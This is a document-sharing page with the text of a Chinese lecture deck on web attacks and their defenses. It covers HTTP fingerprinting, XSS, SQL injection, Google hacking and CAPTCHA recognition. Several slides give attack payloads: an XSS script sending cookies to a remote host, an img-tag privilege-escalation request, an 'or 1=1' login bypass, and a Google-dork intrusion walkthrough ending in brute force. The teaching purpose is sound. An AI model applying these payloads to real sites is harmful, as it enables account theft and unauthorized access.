[其它课程]8web攻击网络攻击防范复习.ppt

上传人:sccc 文档编号:4886345 上传时间:2023-05-21 格式:PPT 页数:114 大小:896KB
返回 下载 相关 举报
[其它课程]8web攻击网络攻击防范复习.ppt_第1页
第1页 / 共114页
[其它课程]8web攻击网络攻击防范复习.ppt_第2页
第2页 / 共114页
[其它课程]8web攻击网络攻击防范复习.ppt_第3页
第3页 / 共114页
[其它课程]8web攻击网络攻击防范复习.ppt_第4页
第4页 / 共114页
[其它课程]8web攻击网络攻击防范复习.ppt_第5页
第5页 / 共114页
点击查看更多>>
资源描述

《[其它课程]8web攻击网络攻击防范复习.ppt》由会员分享,可在线阅读,更多相关《[其它课程]8web攻击网络攻击防范复习.ppt(114页珍藏版)》请在三一办公上搜索。

1、本章内容安排,8.1 Web安全概述8.2 Web服务器指纹识别8.3 Web页面盗窃及防御8.4 跨站脚本攻击及防御8.5 SQL注入攻击及防御8.6 Google Hacking8.7 网页验证码8.8 防御Web攻击8.9 小结,2023/5/21,网络入侵与防范讲义,1,8.1 Web安全概述,在Internet大众化及Web技术飞速演变的今天,在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升,以及基于Web的攻击和破坏的增长,安全风险达到了前所未有的高度。Web安全可以从以下三个方面进行考虑:Web服务器的安全Web客户端的安全Web通信信道的安全,2023/5/21

2、,网络入侵与防范讲义,2,Web服务器的安全,针对Web服务器的攻击可以分为两类:一是利用Web服务器的漏洞进行攻击,如IIS缓冲区溢出漏洞利用、目录遍历漏洞利用等;二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等。,2023/5/21,网络入侵与防范讲义,3,Web服务器的安全(2),针对Web服务器具体的安全威胁主要体现在以下几个方面:服务器程序编写不当导致的缓冲区溢出(Buffer Overflow)并由此导致远程代码执行。针对服务器系统的拒绝服务攻击(Denial of Service)。脚本程序编写不当、过滤不严格造成的数据库查询语句注入(SQL Injection)

3、,可能引起信息泄漏、文件越权下载、验证绕过、远程代码执行等。乐观相信用户输入、过滤不严导致跨站脚本攻击(Cross Site Script),在欺骗管理员的前提下,通过精心设计的脚本获得服务端Shell。,2023/5/21,网络入侵与防范讲义,4,Web客户端的安全,Web应用的迅速普及,客户端交互能力获得了极为充分的发挥,客户端的安全也成为Web安全的焦点问题。Java Applet、ActiveX、Cookie等技术大量被使用,当用户使用浏览器查看、编辑网络内容时,采用了这些技术的应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。,2023/

4、5/21,网络入侵与防范讲义,5,Web客户端的安全(2),浏览网页所使用的浏览器存在众多已知或者未知的漏洞,攻击者可以写一个利用某个漏洞的网页,并挂上木马,当用户访问了这个网页之后,就中了木马。这就是网页木马,简称网马。同时,跨站脚本攻击(XSS)对于客户端的安全威胁同样无法忽视,利用XSS的Web蠕虫已经在网络中肆虐过。,2023/5/21,网络入侵与防范讲义,6,Web通信信道的安全,和其他的Internet应用一样,Web信道同样面临着网络嗅探(Sniffer)和以拥塞信道、耗费资源为目的的拒绝服务攻击(Denial of Service)的威胁。,2023/5/21,网络入侵与防范讲

5、义,7,8.1 Web安全概述,OWASP的调查结果显示,对Web应用危害较大的安全问题分别是:未验证参数访问控制缺陷账户及会话管理缺陷跨站脚本攻击缓冲区溢出命令注入错误处理远程管理Web服务器及应用服务器配置不当,2023/5/21,网络入侵与防范讲义,8,2023/5/21,网络入侵与防范讲义,9,8.2 Web服务器指纹识别,8.2.1 指纹识别理论8.2.2 Web服务器指纹介绍8.2.3 Web服务器Banner信息获取8.2.4 模糊Web服务器Banner信息8.2.5 Web服务器协议行为8.2.6 Http指纹识别工具,2023/5/21,网络入侵与防范讲义,10,8.2.4

6、 模糊Web服务器Banner信息,为了防范查看Http应答头信息来识别Http指纹的行为,可以选择通过下面两种方法来更改或者是模糊服务器的Banner信息:自定义Http应答头信息增加插件这样设置可以自动的阻止很多对Http服务器的攻击,有时也可以误导攻击者。,2023/5/21,网络入侵与防范讲义,11,自定义HTTP应答头信息,要让服务器返回不同的Banner信息的设置是很简单的,象Apache这样的开放源代码的Http服务器,用户可以在源代码里修改Banner信息,然后重起Http服务就生效了。对于没有公开源代码的Http服务器比如微软的IIS或者是Netscape,可以在存放Bann

7、er信息的Dll文件中修改。,2023/5/21,网络入侵与防范讲义,12,使用插件,另一种模糊Banner信息的方法是使用插件,这些插件可以提供自定义的Http应答信息。比如ServerMask这个商业软件就可以提供这样的功能,它是IIS服务器的一个插件,ServerMask不仅模糊了Banner信息,而且会对Http应答头信息里的项的序列进行重新组合,从而来模仿Apache这样的服务器,它甚至有能力扮演成任何一个Http服务器来处理每一个请求。这个软件可以在以下地址找到:Http:/,协议行为分析实例,我们继续来用实例说明。我们将分析3种不同Http服务对不同请求所返回的响应信息,这些请求

8、是这样的:1:HEAD/Http/1.0发送基本的Http请求2:DELETE/Http/1.0发送不被允许的请求,如Delete请求3:GET/Http/3.0发送一个非法版本的Http协议请求4:GET/JUNK/1.0发送一个不正确规格的Http协议请求,2023/5/21,网络入侵与防范讲义,13,测试小结,我们下面列了一个表,我们可以很简单的辨别不同的Http服务器。,2023/5/21,网络入侵与防范讲义,14,8.2.6 Http指纹识别工具,这里我们将介绍一个Http指纹识别工具Httprint,它通过运用统计学原理,组合模糊的逻辑学技术,能很有效的确定Http服务器的类型。H

9、ttprint收集了每种http服务器在交互过程中产生的特性,将它们编码成一个固定长度的ASCII字符串,这就是Httpint签名。,2023/5/21,网络入侵与防范讲义,15,Httprint的Http签名,2023/5/21,网络入侵与防范讲义,16,Httprint介绍,Httprint先把一些Http签名信息保存在一个文档里,然后分析那些由Http服务器产生的结果。当我们发现那些没有列在数据库中的签名信息时,我们可以利用Httprint产生的报告来扩展这个签名数据库,而当Httprint下一次运行时,这些新加的签名信息也就可以使用了。,2023/5/21,网络入侵与防范讲义,17,2

10、023/5/21,网络入侵与防范讲义,18,8.3 Web页面盗窃及防御,8.3.1 Web页面盗窃简介8.3.2 逐页手工扫描8.3.3 自动扫描8.3.4 Web页面盗窃防御对策,2023/5/21,网络入侵与防范讲义,19,8.3 Web页面盗窃及防御,8.3.1 Web页面盗窃简介8.3.2 逐页手工扫描8.3.3 自动扫描8.3.4 Web页面盗窃防御对策,2023/5/21,网络入侵与防范讲义,20,8.3.1 Web页面盗窃简介,服务器及HTTP指纹识别是为了判断服务器的类型、版本信息。而Web页面盗窃的目的是通过对各个网页页面源码的详细分析,找出可能存在于代码、注释或者设计中的

11、关键缺陷和脆弱点,以此来确定攻击的突破点。Web页面盗窃的两种方法:逐页手工扫描和自动扫描。,2023/5/21,网络入侵与防范讲义,21,8.3.3 自动扫描,对于较大型的Web站点,攻击者通常是采用脚本或扫描器来自动探测可能存在的安全漏洞。这种方法的原理是逐页读取目标Web站点上的各个网页,通过搜索特定的关键字,来找出可能的漏洞。为了实际运行的效率考虑,自动扫描往往会采取将目标Web站点镜像到本地、指定扫描条件、指定扫描细度等方法。,2023/5/21,网络入侵与防范讲义,22,Web盗窃防御方法,常用的防御方法主要有4点:提高Web页面代码的质量。不要在代码中泄漏机密信息,尽量消除代码中

12、可能存在的安全漏洞和设计错误,并在发布Web页面前进行安全性测试;监视访问日志中快速增长的GET请求。如果一个IP地址快速的多次请求Web页面,那么就应该怀疑是在进行自动扫描,并考虑封闭此IP地址对Web页面的访问权限;,2023/5/21,网络入侵与防范讲义,23,Web盗窃防御方法(2),在Web站点上设置garbage.cgi脚本。由于自动扫描程序是依照Web目录结构来访问的,而garbage.cgi的作用就是被访问到时不停的产生垃圾页面。当然攻击者可以手工配置来避开这种脚本,但仍然可以有效的为攻击者设置障碍;经常注意网络上新出现的web扫描脚本的攻击内容。确保其针对的安全漏洞在自己的W

13、eb站点上没有出现,对已发现的安全漏洞尽快进行修补或暂停有漏洞的页面的访问。,2023/5/21,网络入侵与防范讲义,24,Web盗窃防御方法(3),此外,Web站点维护者也可以使用一些自动扫描的脚本和工具来检验Web站点的安全性,如phfscan.c、cgiscan.c 等。,什么是XSS攻击,XSS是跨站脚本攻击(Cross Site Script)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(

14、Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS。,2023/5/21,网络入侵与防范讲义,25,什么是XSS攻击,XSS是跨站脚本攻击(Cross Site Script)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS。,2023/5/21,网络入

15、侵与防范讲义,26,跨站脚本攻击的危害,XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。,2023/5/21,网络入侵与防范讲义,27,跨站脚本攻击的危害(2),由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、T、Ebay、

16、Yahoo、Apple、Microsoft、Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。例如Kaspersky:http:/,2023/5/21,网络入侵与防范讲义,28,跨站脚本攻击发起条件,跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的Web服务器允许用户在表格或编辑框中输入不相关的字符 Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码 实现跨站脚本的攻击至少需要两个条件:需要存在跨站脚本漏洞的web应用程序;需要用户点

17、击连接或者是访问某一页面。,2023/5/21,网络入侵与防范讲义,29,8.4.2 跨站脚本攻击过程,寻找XSS漏洞注入恶意代码欺骗用户访问,2023/5/21,网络入侵与防范讲义,30,寻找XSS漏洞(6),于是我们就得出了一个经典的XSS示例:把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。,2023/5/21,网络入侵与防范讲义,31,步骤二:注入恶意代码,注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等

18、。,2023/5/21,网络入侵与防范讲义,32,注入恶意代码(2),例如,把cookie发到远程的javascript代码可以这样写:javascript:window.location=http:/,2023/5/21,网络入侵与防范讲义,33,注入恶意代码(3),IE浏览器默认采用的是UNICODE编码,HTML编码可以用”示例。,2023/5/21,网络入侵与防范讲义,34,注入恶意代码(4),/10进制转码/16进制转码,2023/5/21,网络入侵与防范讲义,35,注入恶意代码(5),通过编码,把cookie发到远程的script可以写成:javascript:window.loc

19、ation='http:/,2023/5/21,网络入侵与防范讲义,36,注入恶意代码(6),对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用户的权限设置为yyy。,2023/5/21,网络入侵与防范讲义,37,注入恶意代码(7),那么结合标签,我们可以构造如下攻击代码。让用户浏览这张图片时,转去admin_user.asp页面运行,并尝试把用户xxx的权限修改为yyy。,2023/5/21,网络

20、入侵与防范讲义,38,步骤三:欺骗用户访问,当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!,2023/5/21,网络入侵与防范讲义,39,漏洞利用,我们可以利用这个漏洞来盗取用户的cookie信息。把用户linzi的签名档设置为:imgjavascript:window.location=&#x

21、27http:/,2023/5/21,网络入侵与防范讲义,40,8.4.4 防御跨站脚本攻击,XSS攻击最主要目标不是Web服务器本身,而是登录网站的用户。针对XSS攻击,分析对普通浏览网页用户及WEB应用开发者给出的安全建议。,2023/5/21,网络入侵与防范讲义,41,普通的浏览网页用户,在网站、电子邮件或者即时通讯软件中点击链接时需要格外小心:留心可疑的过长链接,尤其是它们看上去包含了HTML代码。对于XSS漏洞,没有哪种web浏览器具有明显的安全优势。Firefox也同样不安全。为了获得更多的安全性,可以安装一些浏览器插件:比如Firefox的NoScript或者Netcraft工具

22、条。世界上没有“100%的有效”。尽量避免访问有问题的站点:比如提供hack信息和工具、破解软件、成人照片的网站。这些类型的网站会利用浏览器漏洞并危害操作系统。,2023/5/21,网络入侵与防范讲义,42,Web应用开发者,对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、post数据等。只接受在你所规定长度范围内、采用适当格式的字符,阻塞、过滤或者忽略其它的任何东西。保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术有:session标记(session tokens)、验证码。如果你的web应用必须支持用户

23、提交HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)。,2023/5/21,网络入侵与防范讲义,43,2023/5/21,网络入侵与防范讲义,44,8.5 SQL注入攻击及防御,8.5.1 SQL注入原理8.5.2 SQL注入过程8.5.3 SQL注入的防范,2023/5/21,网络入侵与防范讲义,45,8.5.1 SQL注入原理,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码

24、的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以提交一段精心构造的数据库查询代码,根据返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。受影响的系统:对输入的参数不进行检查和过滤的系统。,最简单的SQL注入实例(2),如果用户填写的用户名和密码都是:abc or 1=1 那么将导致SQL语句是:Select*from admin where user=abc or 1=1 and pass=abc or 1=1 这条语句是永真式,那么攻击者就成功登陆了后台。这就是最简单的SQL注入方式。,2023/5/21,网络入侵与防范讲

25、义,46,2023/5/21,网络入侵与防范讲义,47,8.5.2 SQL注入过程,(1).寻找可能存在SQL注入漏洞的链接(2).测试该网站是否有SQL注入漏洞(3).猜管理员帐号表(4).猜测管理员表中的字段(5).猜测用户名和密码的长度(6).猜测用户名(7).猜测密码为了保护被测试的网站,该网站用www.*.com代替。,2023/5/21,网络入侵与防范讲义,48,8.5.3 SQL注入的防范,由于SQL注入攻击是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以许多防火墙等都不会对SQL注入发出警报。而目前互联网上存在SQL注入漏洞的Web站点并不在少数,

26、对此,网站管理员和Web应用开发程序员必须引起足够的重视。SQL注入漏洞在网上极为普遍,通常是由于程序员对用户提交的数据和输入参数没有进行严格的过滤所导致的。比如过滤逗号,单引号,分号等;如果select、delete、from、*、union之类的字符串同时出现多个的话,也要引起重视;最好对用户提交的参数的长度也进行判断。,8.5.3 SQL注入的防范,防范SQL注入的另一个可行办法是摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。这样,用户提交的数据

27、将不是用来生成动态SQL语句,而是确确实实地作为参数传递给存储过程,从而有效阻断了SQL注入的途径,8.6.1 Google Hacking的原理,Google Hacking的原理非常简单,由于许多有特定漏洞的网站都有类似的标志页面,而这些页面如果被搜索引擎的数据库索引到,我们就可以通过搜索指定的单词来找到某些有指定漏洞的网站。简而言之,我们利用一些搜索方法,来搜索漏洞。下面介绍一些常用的语法。,8.6.1 Google Hacking的原理,intext:就是把网页正文内容中的某个字符做为搜索条件例如在Google里输入“intext:动网”(注意:在搜索引擎中输入的字符不包括“”,本节中

28、以下同),将返回所有在网页正文部分包含“动网”的网页。allintext:使用方法和intext类似。intitle:和intext相近,搜索网页标题中是否有所要找的字符。例如搜索“intitle:IT安全”,将返回所有网页标题中包含“IT安全”的网页。allintitle:也同intitle类似。cache:搜索Google里关于某些内容的缓存。define:搜索某个词语的定义。比如搜索“define:黑客”,将返回关于“黑客”的定义。,8.6.1 Google Hacking的原理,filetype:搜索指定类型的文件。这个是要重点推荐的,无论是撒网式攻击还是我们后面要说的对特定目标进行信

29、息收集都需要用到它。例如输入“filetype:mdb”,将返回所有以“mdb”结尾的文件URL。如果对方的虚拟主机或服务器没有限制下载,那么单击这些URL就可以将对方的这些文件下载下来。info:查找指定站点的一些基本信息。inurl:搜索指定的字符是否存在于URL中。例如输入“inurl:admin”,将返回许多类似于这样的连接:http:/,8.6.1 Google Hacking的原理,link:查找和指定网站做了链接的网站。例如搜索“inurl:”可以返回所有和做了链接的URL。site:用来查找与指定网站有关的链接。例如输入“site:”将返回所有和有关的URL。还有一些操作符也是

30、很有用的:+把Google可能忽略的字列入查询范围-把某个字忽略 同意词.单一的通配符*通配符,可代表多个字母 精确查询,8.6.2 Google Hacking的实际应用,下面以站点为例,介绍如何利用Google进行一次完整入侵过程。首先,用Google查看这个站点的基本情况在Google中输入:site:从返回的信息中,找到几个相关的域名,假设为http:/、http:/、http:/、http:/然后,使用Ping命令对这几个域名进行测试,查看它们是否使用的是同一个服务器。,8.6.2 Google Hacking的实际应用,接下来,在Google中输入site:filetype:doc

31、,看看是否有比较有用的doc文档资料。查找网站的管理后台地址。输入:site:intext:管理site:inurl:loginsite:intitle:管理假设获得2个管理后台地址:http:/,8.6.2 Google Hacking的实际应用,得到后台地址后,来看一下服务器上运行的是什么程序。输入:site:filetype:aspsite:filetype:phpsite:filetype:aspx site:filetype:asp.假设探测到a2服务器用的是IIS,上面用的是ASP的整站程序,还有一个PHP的论坛,a3服务器也是IIS,使用的是ASPX+ASP。既然是论坛,看看有没

32、有公共的FTP帐号之类:site:intext:ftp:/*:*,8.6.2 Google Hacking的实际应用,如果没找到什么有价值的东西,再看看有没有上传的漏洞:site:inurl:file site:inurl:load 假设在a2上发现一个上传文件的页面http:/filetype:asp 得到几个ASP页面的地址,使用软件进行注入。此外,我们还可以使用site:intext:*获取一些邮件地址,以及邮箱主人的名字;使用 site:intext:电话 来获得一些电话把搜集到的这些信息做个字典,用暴力软件进行破解,得到几个用户名和密码,即可进行登录了。剩下的其它入侵行为,在此不再赘

33、述。,8.7 网页验证码攻击,2023/5/21,网络入侵与防范讲义,58,8.7.1 网页验证码概述8.7.2 验证码技术8.7.3 验证码识别工具演示8.7.4 防范验证码攻击,8.4.1 网页验证码概述,验证码技术属于人机区分问题,这在英文中称为CAPTCHA,它是是Completely Automated Public Turing Test to Tell Computers and Humans Apart(全自动区分计算机和人类的图灵测试)的简称。验证码技术的主要思想是对验证码字体和背景进行处理,使得信息提交过程必须通过人为参与完成。,2023/5/21,网络入侵与防范讲义,59

34、,网页验证码概述(4),随着网络论坛以及各类交互式网站的日益火爆,网上出现了越来越多自动灌水机、广告机、论坛自动注册机、用户密码破解机等软件。这些软件有的是针对某个网站而设计开发的,有的则整合数个网站于一体,拥有注册、登陆、发帖、回复等网站提供给用户的功能。比较优秀的多功能自动软件有非免费的“发帖之神II”等代表作。,2023/5/21,网络入侵与防范讲义,60,网页验证码概述(5),为了确保用户提交的请求是在线进行的正常操作,越来越多的网站都采用了验证码技术,防止用户使用程序自动机进行自动提交注入,以保证服务器系统的稳定和用户信息的安全,避免服务器交互处理遭受不必要的攻击。验证码的作用主要有

35、防止暴力破解,防止恶意灌水,防止自动提交等。,2023/5/21,网络入侵与防范讲义,61,8.4.2 验证码技术,基于表单自动提交的HTTP攻击基于验证码的表单提交流程验证码的有效性验证码的类型,2023/5/21,网络入侵与防范讲义,62,8.4.2 验证码技术,基于表单自动提交的HTTP攻击基于验证码的表单提交流程验证码的有效性验证码的类型,2023/5/21,网络入侵与防范讲义,63,基于表单自动提交的HTTP攻击,互联网上涉及到用户交互的很多操作(如注册、登录、发贴等)都是用提交表单的方式实现的。根据HTTP协议,攻击者可以编写程序模拟表单提交的方式,将非正常的数据向网站服务器自动、

36、快速提交,这就构成了基本的基于表单自动提交的HTTP攻击。,2023/5/21,网络入侵与防范讲义,64,基于表单自动提交的HTTP攻击(2),如图所示,其中,虚线表示攻击者的数据自动提交方式。,2023/5/21,网络入侵与防范讲义,65,基于表单自动提交的HTTP攻击(3),这种简单的HTTP攻击可能会导致以下四种安全问题:(1)攻击者可以在短时间内注册大量的Web服务账户。这不但会占用大量的服务器及数据库资源,攻击者还可能使用这些账户为其他用户制造麻烦,如发送垃圾邮件或通过同时登录多个账户来延缓服务速度等;,2023/5/21,网络入侵与防范讲义,66,基于表单自动提交的HTTP攻击(4

37、),(2)攻击者可以通过反复登录来暴力破解用户密码,导致用户隐私信息的泄漏;(3)攻击者可以在论坛中迅速发表成千上万的垃圾帖子,严重影响系统性能,甚至导致服务器崩溃;(4)攻击者可对系统实施SQL注入或其它脚本攻击,从而窃取管理员密码,查看、修改服务器本地文件,对系统安全造成极大威胁。,2023/5/21,网络入侵与防范讲义,67,基于验证码的表单提交流程,为了防止攻击者利用程序自动注册、登录、发帖,验证码技术日益得到广泛的应用。基于验证码的表单提交流程如图所示。,2023/5/21,网络入侵与防范讲义,68,基于验证码的表单提交流程(2),这种流程多了图片验证码的生成与验证机制。所谓验证码,

38、又称“附加码”,就是一串随机产生的字符串。服务器端将随机产生的验证码写到内存中,同时以某种形式展现给用户,用户在提交表单时必须同时填写验证码,如果与服务器端保存的字符串相同(即验证成功),才能继续操作;否则,用户将无法使用后续的功能。,2023/5/21,网络入侵与防范讲义,69,基于验证码的表单提交流程(3),由于验证码是随机产生的字符串,每次请求都会发生变化,攻击者难于猜测其具体内容且无法穷举,模拟表单提交时便很难正确填写并通过验证,这样就实现了阻挡攻击的目的。,2023/5/21,网络入侵与防范讲义,70,验证码的有效性,验证码流程的有效性基于以下两个很重要的假设:假设1:用户可以收到并

39、了解验证码;假设2:攻击者的自动程序无法了解验证码。这二者必须同时成立。因为:如果用户不能了解验证码,那么将无法完成提交动作;如果可以编写程序自动获取验证码,那么攻击者就能够通过验证过程,实现攻击行为。,2023/5/21,网络入侵与防范讲义,71,验证码的类型,当前互联网上较为常见的验证码主要有以下几种:文本验证码:在网页上以文本形式呈现给用户;手机验证码:用户在网页上提交自己的手机号码,系统以短信形式将验证码发送到用户手机上;邮件验证码:用户在网页上提交自己的电子邮箱,系统以e-mail形式将验证码发送到用户的邮箱中;图片验证码:又称“验证水印”,在网页上以图片形式呈现给用户。尽管验证码对

40、表单提交流程的安全起到了很重要的作用,但其自身的安全性却为很多网站所忽略,以致成为新的安全隐患,2023/5/21,网络入侵与防范讲义,72,文本验证码,由于验证码内容会原原本本地写在用户浏览到的网页中,编写程序对HTML文件进行一定分析后,同样可以获知验证码内容。因此,文本验证码的安全性很差,目前已经很少有网站采用这种形式。,2023/5/21,网络入侵与防范讲义,73,手机验证码,由于需要查看手机才能知道验证码内容,攻击者通常没有办法实现自动获取,因此,仅从验证码的角度来说,这种方法可以较好地阻挡攻击者。手机验证码的问题主要存在两点:受移动运营商短信网关的限制,有时会导致用户无法收到短信,

41、从而使假设1不成立;可能造成对手机的DoS攻击:将指定手机号用于接收验证码,编写程序不断向服务器提交请求,就会使该手机不断收到验证码短信,对用户造成骚扰,甚至导致手机死机等后果。,2023/5/21,网络入侵与防范讲义,74,邮件验证码,这种形式的验证码仅仅比文本验证码的安全性略高,但仍然不能保证基本的安全性。原因有两点:依赖于邮件服务器,可能在大量邮件中,验证码邮件被淹没,或被防火墙过滤。与手机验证码相似,攻击者可以利用这种方式向被攻击者的电子邮箱发起DoS攻击,导致被攻击者的邮箱充满相关垃圾邮件,无法接收新邮件。,2023/5/21,网络入侵与防范讲义,75,图片验证码,新浪,动网论坛,腾

42、讯,Discuz论坛,2023/5/21,网络入侵与防范讲义,76,图片验证码(2),图像验证码又称“验证水印”,在网页上以图片形式呈现。其实现是通过算法加入各种难点,生成一幅需要用户识别的图片。经统计,验证码一般有以下的难点:噪声字体字符出现位置 字符个数 英文字母大小写 字符高宽度 其它,2023/5/21,网络入侵与防范讲义,77,噪声,整体背景干净;或有一些简单的单个或多个集团噪点。整体背景基本干净;噪声为规划或不规则的线条,所在位置随机或不随机。背景经过设计,有多种视觉效果;噪声为点或者线条。,2023/5/21,网络入侵与防范讲义,78,字体,字体端正,有明显横向的间隔。字体较端正

43、,大多数有明显横向的间隔。字体宽窄不一。字体为各种扭曲、扭转、模糊、缺失、多态等特点,有横向的间隔。字体为各种扭曲、扭转、模糊、缺失、多态等特点,字体重叠,或者上下有累叠,或者上下有累叠使得横向无间隔。,2023/5/21,网络入侵与防范讲义,79,自动识别图像验证码,图像验证码的识别技术与图像处理、模式识别、人工智能相关。一般通用的算法框架如图所示。,2023/5/21,网络入侵与防范讲义,80,自动识别图像验证码(2),可以把识别的流程分为三个阶段:预处理:彩色去噪、二值变换、黑白去噪字符分割(图片分割)字符识别:特征表示、建立模板库、识别,2023/5/21,网络入侵与防范讲义,81,彩

44、色去噪,彩色去噪算法有多种选择,如彩色图像中值滤波、粗糙集理论的滤波、矢量滤波等等。但注意这些都是普适性的算法,在处理分辨率较低的验证码图片时可能会造成不希望的损失,所以应加入自己的改造措施来避免对于某些验证码的滤波损失。彩色去噪属于图像处理技术,如果对此感兴趣,可以自行学习相关技术。,2023/5/21,网络入侵与防范讲义,82,二值变换,二值变换是按照灰度转换公式把彩色bmp图像转换成灰度图像。二值变换也属于图像处理技术,请自行学习。,2023/5/21,网络入侵与防范讲义,83,黑白去噪,黑白去噪算法相对简单,对于某黑色的像素点,可以视其周围的白色象素点个数来判断其是否为噪声。,2023

45、/5/21,网络入侵与防范讲义,84,字符分割,如果验证码各字符的坐标位置和字符大小都是固定的,那么,只需截取指定起点位置、指定长宽值的矩形区域与各模板逐个比对,匹配度最高的数字即为识别结果。如果验证码各字符的位置不固定,那么可以采用滑动窗口的办法:在指定区域内,滑动截取不同起点位置、指定长宽值的矩形,不断与模板相比对,匹配度最高的数字即为识别结果,对应的起点位置则为字符的坐标。,2023/5/21,网络入侵与防范讲义,85,字符识别,识别算法一般依靠模板库。建立模板库首先进行特征提取,然后把该特征作为样本存储在模板库中,提取的特征可以是0和1字符串,也可以是映射直方图等等。最后利用生成的模板

46、库,进行基于匹配的识别过程。,2023/5/21,网络入侵与防范讲义,86,8.7.3 验证码识别工具演示,下载地址:http:/,该工具可以识别较简单的验证码,识别率并非百分之百!,2023/5/21,网络入侵与防范讲义,87,8.7.4 防范验证码攻击,对基于验证码的表单提交流程,应该:任何时候,都不应当使用安全性很差的文本验证码;应尽量不使用手机验证码、邮件验证码,以避免手机/邮件DoS攻击;建议使用安全性较高的图片验证码。,2023/5/21,网络入侵与防范讲义,88,防范验证码攻击(2),事实上,对图片验证码的识别与光学字符识别(optical character recogniti

47、on,OCR)技术在本质上是完全相同的。而在OCR领域,目前对印刷体(数字、西文字母,甚至汉字)的识别技术已经相当成熟。因此,图片验证码面临的安全形势相当严峻。考虑到目前OCR技术中尚存在一些不够成熟的领域,如脱机手写体的识别、多语言文字混排的识别、退化严重的文字识别等,建议在图片验证码的设计中,加强以下几方面的变化:扩展字符集(可以考虑用汉字作为字符集);随机变化字体和字符大小;随机设定字符的倾斜程度;随机设置字符坐标位置;增强背景混淆等。,2023/5/21,网络入侵与防范讲义,89,防范验证码攻击(3),此外,应该着重设计那些程序难以区分的难点:巧妙的设计背景灰度,使得程序很难对背景与字

48、符有效区分,但人眼却可以轻松分辨出灰度的差异;避免字符左右规矩的排列,而应有一定的上下累叠,使得横向上没有办法简单的切割;点状或者团状的噪声容易被程序识别,而特别设计的线条型噪声,自动识别程序就很难有效的去噪。,2023/5/21,网络入侵与防范讲义,90,防范验证码攻击(4),还可以加入更多的随机性:字符位置随机出现以防止定制的切割;字符字体大小的随机性;字符的形态随机生成以降低匹配效果;GIF动画图片是一个不错的想法,但完整字符的那幅图出现的时间应随机,避免固定的放在最后。,2023/5/21,网络入侵与防范讲义,91,防范验证码攻击(5),当然,根据前面讨论的有效性假设,在增强图片验证码

49、安全性的同时,还要注意不能使用户肉眼分辨过于困难。,2023/5/21,网络入侵与防范讲义,92,2023/5/21,网络入侵与防范讲义,93,8.8 防御Web攻击,8.8.1 Web服务器安全配置8.8.2 Web浏览者的安全措施8.8.3 Web安全需澄清的五个误解,2023/5/21,网络入侵与防范讲义,94,8.8.1 Web服务器安全配置,Web服务器为互联网用户提供服务的同时,也是黑客攻击的主要对象和攻入系统主机的主要通道。服务器安全配置包括主机系统的安全配置和Web服务器的安全配置两大部分。,2023/5/21,网络入侵与防范讲义,95,主机系统安全配置,服务器主机系统是服务器

50、的基础,因此显然服务器运行的安全性与其所在的主机系统安全性密切相关有关。这里的主机系统安全性,指的是应用在主机上且与服务器主要服务业务不相关的配置。简单性 超级用户权限本地和远程访问控制审计和可审计性恢复,2023/5/21,网络入侵与防范讲义,96,简单性,主机系统越简单,其安全性就越好。最好把不必要的服务从服务器上卸载掉。每个服务在提供给用户一个服务窗口的同时,也形成了攻击者进入系统的通道。主机系统上的服务越多,攻击者侵入系统的可能性就越大。,2023/5/21,网络入侵与防范讲义,97,超级用户权限,要注意包含超级用户权限,因为超级用户权限几乎等同于主机控制权,往往是攻击者最高目标。因此

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

